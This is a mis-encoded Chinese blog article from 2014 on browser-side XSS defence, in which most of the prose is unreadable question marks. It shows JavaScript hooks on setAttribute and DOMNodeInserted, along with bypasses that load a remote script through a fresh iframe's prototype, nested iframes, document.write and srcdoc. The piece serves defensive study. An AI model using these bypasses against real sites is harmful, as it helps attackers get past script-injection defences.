XSS ??????????и????????
???????????? ???????[ 2014/7/4 15:09:00 ] ????????XSS ??????????
????????淴??
????????????磬??????????????????
???????????????????t???????ε???????????????????????????????????????????????????????ī???????????????????????
??????????????????????棬?????? contentWindow ???????????μ??????
????// ?????????????
????var frm = document.createElement('iframe');
????document.body.appendChild(frm);
????var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
????// ???????
????var el = document.createElement('script');
????raw_fn.call(el?? 'SRC'?? 'http://www.etherdream.com/xss/alert.js');
????document.body.appendChild(el);
????Run
??????????????????????????
????????????????????????????????????????????????????????е???ж????????????????????????????
????????????????????????棬??????????????????????????????μ?????????????????????????????????????????????? contentWindow ??????й?????
??????????????ó????????????????????????????軔?′????????????????
????????????????????? createElement ???????????????????ж??????????????????????????????????棬??????????
????????????????????????????????????????????δ?????????????????contentWindow ????? null????????????????? appendChild ???????????????檔
????????????y??????о??????????????????????? appendChild ????????????? contentWindow ?????????????
var observer = new MutationObserver(function(mutations) {
console.log('MutationObserver:'?? mutations);
});
observer.observe(document?? {
subtree: true??
childList: true
});
document.addEventListener('DOMNodeInserted'?? function(e) {
console.log('DOMNodeInserted:'?? e);
}?? true);
// ?????????????
var frm = document.createElement('iframe');
console.warn('begin');
document.body.appendChild(frm);
console.warn('end');
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
/** ???
begin
DOMNodeInserted MutationEvent
end
MutationObserver: Array[1]
MutationObserver: Array[1]
*/
Run
|
????????????п???????????????????????????????????
// ?????????
(function() {
function installHook(window) {
// ??????????
var raw_fn = window.Element.prototype.setAttribute;
// ?????????
window.Element.prototype.setAttribute = function(name?? value) {
// ????
alert(name);
// ???????
raw_fn.apply(this?? arguments);
};
}
// ???????????
installHook(window);
document.addEventListener('DOMNodeInserted'?? function(e) {
var element = e.target;
// ?????????????????
if (element.tagName == 'IFRAME') {
installHook(element.contentWindow);
}
}?? true);
})();
// ?????????????
var frm = document.createElement('iframe');
document.body.appendChild(frm);
var raw_fn = frm.contentWindow.Element.prototype.setAttribute;
// ???????
var el = document.createElement('script');
raw_fn.call(el?? 'SRC'?? 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run
????????????????????????????????????????????????????????????????
??????????ò??????Щ????????????????????????????????
// ????????
var frm = document.createElement('iframe');
document.body.appendChild(frm);
// ?????????????
var doc = frm.contentDocument;
var frm2 = doc.createElement('iframe');
doc.body.appendChild(frm2);
// ??????
var raw_fn = frm2.contentWindow.Element.prototype.setAttribute;
// ???????
var el = document.createElement('script');
raw_fn.call(el?? 'SRC'?? 'http://www.etherdream.com/xss/alert.js');
document.body.appendChild(el);
Run
|
????????????????滷????????????????????????????????????????????????????????????????????
???????????????????????????????? DOMNodeInserted ????????????????????????????η??????????????????????
// ?????????
(function() {
function installHook(window) {
// ??????????
var raw_fn = window.Element.prototype.setAttribute;
// ?????????
window.Element.prototype.setAttribute = function(name?? value) {
// ????
alert(name);
// ???????
raw_fn.apply(this?? arguments);
};
// ??????????????
window.document.addEventListener('DOMNodeInserted'?? function(e) {
var element = e.target;
// ?????????????????
if (element.tagName == 'IFRAME') {
installHook(element.contentWindow);
}
}?? true);
}
// ???????????
installHook(window);
})();
Run
|
??????????????????????????????????
????????????????
????????????????е????
??????????????????????????????????????????????檔???????????? XSS ???????????????????????????????????????????????ι?????
???????????????????????????????????????????????????????????????????
// ????????
var frm = document.createElement('iframe');
document.body.appendChild(frm);
// ???????
frm.contentDocument.write('<script src=http://www.etherdream.com/xss/alert.js></script>');
Run
?????????о?????????????HTML5 ????????????????????????????????srcdoc??
<iframe srcdoc="<script src=http://www.etherdream.com/xss/alert.js></script>"></iframe>
Run
???????????????????е??
<iframe srcdoc="<script>parent.alert('call from frame')</script>"></iframe>
Run
|
?????????????????????document.write ???????????????? MutationObserver ??????????? srcdoc ??????????????????????????????????д?????????? HTML ???????????????????????????????????????????÷???????Ч?????????????
????????????????????? document.write ???????????????У???????????????????????з?????????? DOMContentLoaded ????? document.write ????ε?????????
???????
?????????????????????????ι????????????????????????????????????????????????????????????????
???????????????????????????API ????????????????????????????????????????????Щ??
???????? Flash ????????????е???????????????? object??embed??param ?????????
?????????API ?????????????棬??????????????????
??????
???·???
??????????????????
2023/3/23 14:23:39???д?ò??????????
2023/3/22 16:17:39????????????????????Щ??
2022/6/14 16:14:27??????????????????????????
2021/10/18 15:37:44???????????????
2021/9/17 15:19:29???·???????·
2021/9/14 15:42:25?????????????
2021/5/28 17:25:47??????APP??????????
2021/5/8 17:01:11